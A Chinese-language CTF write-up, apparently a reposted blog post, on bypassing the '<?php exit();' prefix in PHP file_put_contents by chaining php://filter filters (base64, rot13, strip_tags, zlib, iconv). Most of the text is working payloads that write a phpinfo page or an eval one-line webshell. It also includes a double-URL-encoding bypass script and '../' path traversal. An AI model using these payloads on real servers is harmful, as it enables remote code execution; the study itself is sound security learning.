关于php://filter在file_put_contents中的利用

前言

今天遇到了一道PHP文件包含的题目:

<?php
$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename,'<?php exit();'.$content);
highlight_file(__FILE__);

是一道比较老的题目了,但是里面的知识点和利用的姿势还是非常值得学习的。我花了点时间学习了很多大师傅们的文章,把学习得到的姿势记录下来。

当然还有如下的变形:

<?php
$content=$_POST['content'];
file_put_contents($content,'<?php exit();'.$content);
highlight_file(__FILE__);

第一种形式

比较容易想到的两种姿势就是base64和rot13了:

1.base64

$filename='php://filter/convert.base64-decode/resource=feng.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';

base64解码的时候是4字节->3字节,对于不可识别的字符会跳过,对于<?php exit();中,可以识别的只有phpexit,一共7个字节,因此前面加个一个字节,然后再加上<?php phpinfo();?>base64加密的结果就可以了。

还有rot13:

2.rot13

$filename='php://filter/string.rot13/resource=feng.php';
$content='<?cuc cucvasb();?>';

不过使用rot13的结果是这样:

<?cuc rkvg();<?php phpinfo();?>

并没有把<?给去掉,如果PHP的环境开启了短标签的话,使用rot13的这种方法就不能成功。

3.string.strip_tags

string.strip_tags可以去除html和PHP的标签,不过为了防止这个过滤器把我们写的一句话木马的标签也给去掉,因此我们还要对我们的一句话木马进行一层base64,然后再加上一层base64-decode的过滤器就可以了:


filename=php://filter/string.strip_tags|convert.base64-decode/resource=feng.php

content=?>PD9waHAgcGhwaW5mbygpOz8%2b

4.zlib

利用zlib压缩转小写再解压:

filename=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=11111.php
content=?><?php%0dphpinfo();?>

在我本地测试,也是需要开启short_open_tags才可以成功,最终写入的内容是这些:<?php@�xit();?><?php phpinfo();?>
不开启短标签的话会报@的错误

第二种形式

第二种形式是第一种形式的变形,第一反应应该是过滤器里面写马,但是实际情况却有些问题,就是base64的话不可以:

base64

php://filter/convert.base64-decode|aaPD9waHAgcGhwaW5mbygpOz8+/resource=11111.php

但实际不可以,原因就在于=。base64解码的时候=一定是出现在最后,用于填充的,同样它也意味着结尾,也就是说base64解码的字符串,=后面不允许还存在字符,否则就会报错,同时会丢弃内容,因此并不会写入任何的东西,所以单纯的base64并不行。但是rot13就没有这些问题了,单独的rot13就可以了。

rot13的小trick

在WMCTF2020 也有这么一道题,不过它过滤了rot13,是不是就不行了呢?不是的,这里用到了一个知识:

在伪协议进行处理的时候,还会对过滤器进行urldecode一次,因此可以url二次编码来绕过rot的过滤。

当然这个题目也没有这么简单,因为它过滤了%。这就意味着对字符’r’ 进行urlencode是%72,正常bypass方式是再对%72一次urlencode,不过因为服务端ban了%,直接%72来urlencode来寻求bypass是不行的,需要自己找字符,脚本如下:

<?php 
$char = 'r'; #构造r的二次编码 
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
    
     
    for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
    
     
        $aaa = '%'.$ascii1.'%'.$ascii2; 
        if(urldecode(urldecode($aaa)) == $char){
    
     
            echo $char.': '.$aaa; 
            echo "\n"; 
        } 
    } 
} 
?> 
php://filter/write=string.%7%32ot13|cuc cucvasb();|/resource=Cyc1e.php 
#Cyc1e.php 
<?cuc rkvg();cuc://svygre/jevgr=fgevat.%72bg13|<?php phpinfo();?>|/erfbhepr=Plp1r.cuc 

最后得到是%7%32进行二次urldecode得到字符r。然后利用rot13就可以了。

zlib

zlib同样可以:

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=11111.php

string.strip_tags + base64

payload如下:

php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php

我们要写的马是?><?php phpinfo();?>,而且这个马可以写在过滤器里,也可以写在resource里。这时候有大师傅想到了利用string.strip_tags,我们写的?>闭合了<?php exit();,因此string.strip_tags会把<?php exit();?>给去除,然后会对PD9waHAgcGhwaW5mbygpOz8%2B.php进行base64解码,成功写入了马。

不过问题也比较明显,就是写入的文件的名字是
?>PD9waHAgcGhwaW5mbygpOz8+.php
因为windows的文件名不允许有? >等字符,所以这种方式只适合linux系统。

如果觉得文件名不太好的话可以利用../来目录穿越,比如:

php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../feng.php

?>PD9waHAgcGhwaW5mbygpOz8+当成文件夹,相当于建一层文件,再穿越回上层再创建feng.php。
也是非常的巧妙!

string.strip_tags + base64的一种变形

payload:php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../feng.php
首先是string.strip_tags,这种payload攻击的思想并不是想着strip_tags把exit给吃掉,而是单纯的解决我们穿的payload中=导致的base64失败的问题,这样就只剩下了:php://filter/PD9waHAgcGhwaW5mbygpOz8%2B/../feng.php和前面的<?php exit();
然后再base64解码一次,把前面的exit给吃掉,就成功写入了一句话马。同样这个payload也需要linux系统才行。

iconv

convert除了base64外,还有iconv。utf-8,utf-7,还有usc-2和usc-4都被大师傅们用来解决这个问题。

usc-2:
usc-2是对字符串进行两位一反转,记得补位即可:

php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=11111.php

usc-4
同理,usc-4是对字符串四位一反转,记得补位:

php://filter/convert.iconv.UCS-4LE.UCS-4BE|
12hp?<hp pfnip;)(o11>?/resource=11111.php

utf-8和utf-7之间的转换:

php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=feng.php

poyload的原理是这样,将’ = '从utf-8转换成utf-7会变成+AD0-,并不影响base64的decode,utf-8转换成utf-7,base64中除了+会变成+-和=存在变化外,其他字符都无变化,而这样的构造+正好是在构造一句话木马base64加密的末尾,注意补位就无影响,因此构造成功,非常巧妙。

参考文章

file_put_content和死亡·杂糅代码之缘

关于file_put_contents的一些小测试
WMCTF 2020官方WriteUp

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113094542